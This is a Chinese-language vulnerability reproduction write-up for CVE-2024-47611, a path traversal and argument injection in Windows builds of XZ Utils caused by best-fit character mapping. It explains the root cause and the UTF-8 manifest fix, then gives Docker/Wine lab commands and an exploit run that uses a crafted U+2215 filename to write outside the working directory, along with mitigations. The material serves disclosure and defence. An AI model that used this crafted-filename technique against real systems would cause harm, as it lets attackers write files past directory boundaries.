跳转至

CVE-2024-47611 — XZ Utils Windows CRT 最佳适配参数注入与目录遍历

发布于 2026-06-06

已验证的复现

本页面记录了对 CVE-2024-47611 的确认利用。越出工作目录的文件写入已通过独立渠道观测,并在补丁版本二进制文件上确认不存在该行为。

字段 详情
Project XZ Utils
受影响组件 xz.exexzdec.exelzmadec.exelzmainfo.exe——仅限 Windows 原生构建
Severity MEDIUM
CVSS CVSS v4.0:6.3(Medium)
CWE CWE-88, CWE-176
受影响版本 XZ Utils ≤ 5.6.2,仅限 Windows 原生构建(MinGW-w64 或 MSVC)
修复版本 5.6.3(发布于 2024-10-01)
安全公告 GHSA-m538-c5qw-3cg4

1. 漏洞概述

XZ Utils 是常用的命令行压缩工具集,附带 liblzma 库,支持 Linux、macOS 和 Windows 平台。CVE-2024-47611 仅影响 Windows 原生可执行文件(即使用 MinGW-w64 或 MSVC 构建的版本),Cygwin 和 MSYS2 变体以及 liblzma 库本身不受影响。只要攻击者能控制传入受影响工具的文件名参数,该工具就会读写其启动目录之外的路径。在使用传统 Windows 代码页的系统上,一个构造好的文件名即可突破工具本不应访问的目录边界。

根本原因

Windows 运行时负责将 Unicode 命令行转换为 main() 接收的 argv[] 数组。在 XZ Utils 5.6.3 之前,Windows 可执行文件构建时未嵌入声明 activeCodePage = UTF-8 的应用程序清单(manifest)。缺少该声明时,Windows 启动代码回退到系统当前激活的传统代码页(例如 Windows-1252),并在转换过程中应用"最佳适配"(best-fit)字符映射——当某个 Unicode 字符无法直接编码到传统代码页时,Windows 静默地以外观最接近的 ASCII 字符替代。

以下几个 Unicode 字符会被映射为在命令行解析或路径处理中具有特殊含义的 ASCII 元字符:

  • U+2215 DIVISION SLASH,UTF-8 字节 e2 88 95)映射为 ASCII /(0x2F)——从而实现目录遍历。
  • 形似双引号的字符映射为 "(0x22)——破坏参数引号边界,注入额外参数。
  • 形似问号的字符映射为 ?(0x3F)——触发通配符展开。

补丁(提交 bf518b9ba446327a062ddfe67e7e0a5baed2394f)通过新增 src/common/w32_application.manifest 文件并将其接入 src/common/common_w32res.rc,将 Windows 应用程序清单嵌入到每个可执行文件中:

<application xmlns="urn:schemas-microsoft-com:asm.v3">
    <windowsSettings>
        <activeCodePage xmlns="http://schemas.microsoft.com/SMI/2019/WindowsSettings">UTF-8</activeCodePage>
    </windowsSettings>
</application>

该清单条目指示 Windows 加载器在命令行到 argv[] 的转换中使用 UTF-8(在 Windows 10 版本 1903 及更高版本上可用)。有了该清单,U+2215 会原样传递给 main()——不会被改写为 /——因此不会发生遍历。资源文件仅为非 Cygwin/MSYS2 的 Windows 应用程序构建条件性地包含该清单:

#if MY_TYPE == VFT_APP && !defined(__CYGWIN__)
CREATEPROCESS_MANIFEST_RESOURCE_ID RT_MANIFEST "w32_application.manifest"
#endif

旧版 Windows

activeCodePage=UTF-8 设置仅在 Windows 10 版本 1903 及更高版本上生效。在较旧 Windows 版本上运行的二进制文件不受此修复保护。

2. 漏洞复现环境

复现环境是单个 Docker 容器(linux/amd64)。容器使用 MinGW-w64 工具链将受漏洞影响和已打补丁两个版本的 XZ Utils 交叉编译为 Windows PE 可执行文件,再通过 Wine 运行。

容器内包含的内容:

  • /opt/xz-vuln/bin/xz.exe——XZ Utils 5.6.2,从未修改的 xz-5.6.2.tar.gz 编译,无 UTF-8 清单。这是存在漏洞的二进制文件。
  • /opt/xz-patched/bin/xz.exe——XZ Utils 5.6.3,从未修改的 xz-5.6.3.tar.gz 编译,已嵌入清单。这是用于差分对照的已修补二进制文件。
  • Wine 前缀在启动时配置为 en_US.CP1252 区域设置,使 Windows 活动代码页(ACP)设为 1252(Windows-1252),从而令 CRT 最佳适配 argv 映射对漏洞版本二进制文件生效。
  • /lab/work——启动 xz 的受限工作目录。
  • /lab/outside——越出工作目录的同级目录,在未进行 ../ 遍历的情况下无法从 /lab/work 到达。容器入口脚本在每次启动时清空该目录,为每次利用运行建立空目录基线。

下载完整环境:env.zip

各独立文件:

启动环境:

docker compose -f env/docker-compose.yml up -d

验证环境配置正确——以下冒烟测试用于确认两个二进制文件的版本、传统代码页以及目录结构:

docker exec cve-2024-47611-xz sh -c '
  wine /opt/xz-vuln/bin/xz.exe --version    | grep -i "5.6.2" &&
  wine /opt/xz-patched/bin/xz.exe --version | grep -i "5.6.3" &&
  wine reg query "HKLM\\System\\CurrentControlSet\\Control\\Nls\\CodePage" /v ACP | grep -i 1252 &&
  test -d /lab/work && test -d /lab/outside &&
  echo SMOKE-OK'

预期输出应包含 5.6.25.6.3、一行 ACP ... 1252 以及 SMOKE-OK。Wine 可能在 stderr 输出无害的 fixme/err 行,可忽略。

3. 利用方式

利用程序向存在漏洞的 xz.exe 传入一个构造好的文件名:用 U+2215 DIVISION SLASH(,UTF-8 字节 e2 88 95)替换路径 ../outside/payload 中的每个 /。由于 ACP=1252 处于激活状态,Windows CRT 在调用 main() 之前把每个 U+2215 改写为 ASCII /xz 实际处理的路径因此变为 ../outside/payload,从受限的 /lab/work 爬升到 /lab/outside,并将压缩输出 ../outside/payload.xz 写入该目录。

下载利用程序:exploit.zipexploit/run.sh

步骤一——将利用脚本复制到容器中

docker cp exploit/run.sh cve-2024-47611-xz:/tmp/run.sh

步骤二——对漏洞版本二进制文件运行利用程序

docker exec -w /lab/work cve-2024-47611-xz sh /tmp/run.sh /opt/xz-vuln/bin/xz.exe /lab/work outside payload "PWNED-BY-CVE-2024-47611"

run.sh 在内部使用 POSIX 八进制转义 \342\210\225(对应 U+2215 的三个 UTF-8 字节)将构造好的文件名组装为 .. + U+2215 + outside + U+2215 + payload。脚本首先在 /lab/outside/payload 处写入攻击者的明文输入文件(这是攻击者的输入内容,不是证明目标),随后调用 wine xz.exe -k -v <crafted_filename>-k 标志保留输入文件,-v 使 xz 输出包含解析路径的进度信息。

脚本在调用 xz 之前打印原始参数字节,以便确认 U+2215 字节存在且 Shell 未引入 ASCII 斜杠:

arg bytes:  2e 2e e2 88 95 6f 75 74 73 69 64 65 e2 88 95 70 61 79 6c 6f 61 64

位于第 3–5 和 13–15 字节处的 e2 88 95 是 U+2215 的字节——并非 ASCII /2f

随后 xz 的 stderr 显示最佳适配改写已生效:

../outside/payload: 88 B / 24 B = 3.667

输出路径中出现了真实的 ASCII /,而非 。参数在到达 main() 时已被改写。

步骤三——通过独立渠道观测越出目录的文件

证明不依赖 xz 自身的 stdout。验证方直接从宿主侧 Shell 读取文件系统,完全不经过利用进程:

docker exec cve-2024-47611-xz sh -c 'ls -la /lab/outside; find /lab/outside -type f -exec sh -c "echo FILE: \$1; od -An -tx1 \"\$1\" | head -2" _ {} \;'

在已验证的运行中观测到的结果:

  • 出现了新文件 /lab/outside/payload.xz——88 字节,起始字节为 fd 37 7a 58 5a 00——即 XZ 容器的魔数头部。只有 xz 才能在该路径生成有效的 XZ 容器。
  • /lab/work(受限启动目录)为空——xz 未在其中写入任何内容;输出完全逸出到 /lab/outside
  • 解压证明目标文件确认了标记内容:xz -dc /lab/outside/payload.xzPWNED-BY-CVE-2024-47611(退出码 0)。

差分对照——补丁版本二进制文件不发生遍历

使用完全相同的调用方式针对已打补丁的二进制文件运行,可确认该效果与缺少清单直接相关:

docker exec -w /lab/work cve-2024-47611-xz sh /tmp/run.sh /opt/xz-patched/bin/xz.exe /lab/work outside payload "PWNED-BY-CVE-2024-47611"

观测到的结果:

  • 传入 xz 的参数字节与之前完全相同(... e2 88 95 ...)。
  • xz stderr 输出:xz: ..∕outside∕payload: No such file or directory——U+2215 保持原样,解析路径中未出现 ASCII 斜杠,未发生遍历。
  • 补丁版本运行后通过独立渠道检查:/lab/outside 中仅包含预置的 payload 输入文件,payload.xz 不存在。遍历行为可证明地绑定到未打补丁的二进制文件。

环境清理

docker compose -f env/docker-compose.yml down -v

4. 安全建议

修复措施

升级至 XZ Utils 5.6.3 或更高版本。5.6.3 在每个受影响的可执行文件中嵌入了 activeCodePage=UTF-8 Windows 应用程序清单,在 Windows 10 版本 1903 及更高版本上阻止 Windows CRT 在命令行解析时应用最佳适配字符替换。

若无法立即升级,以下缓解措施可降低风险:

  • 避免将不受信任的文件名传入 Windows 上的 xz.exexzdec.exelzmadec.exelzmainfo.exe
  • 在 UTF-8 系统代码页下运行。 在 Windows 10 1903 及更高版本上,系统级的 UTF-8 测试版设置(控制面板 → 区域 → 管理 → 更改系统区域设置 → 测试版:使用 Unicode UTF-8 提供全球语言支持)同样可以禁用最佳适配映射,即使没有清单也能生效。此为系统级变更,应在充分评估上下文后再行应用。
  • Cygwin 和 MSYS2 构建的参数编码处理方式不同,不受此漏洞影响。对于能够接受该变更的环境,切换到上述工具链变体是一个可行选项。
  • 无论是否嵌入清单,该修复在 Windows 10 1903 之前的版本上均不生效。在旧版 Windows 上,应避免将攻击者可控的文件名传入这些工具。

参考资料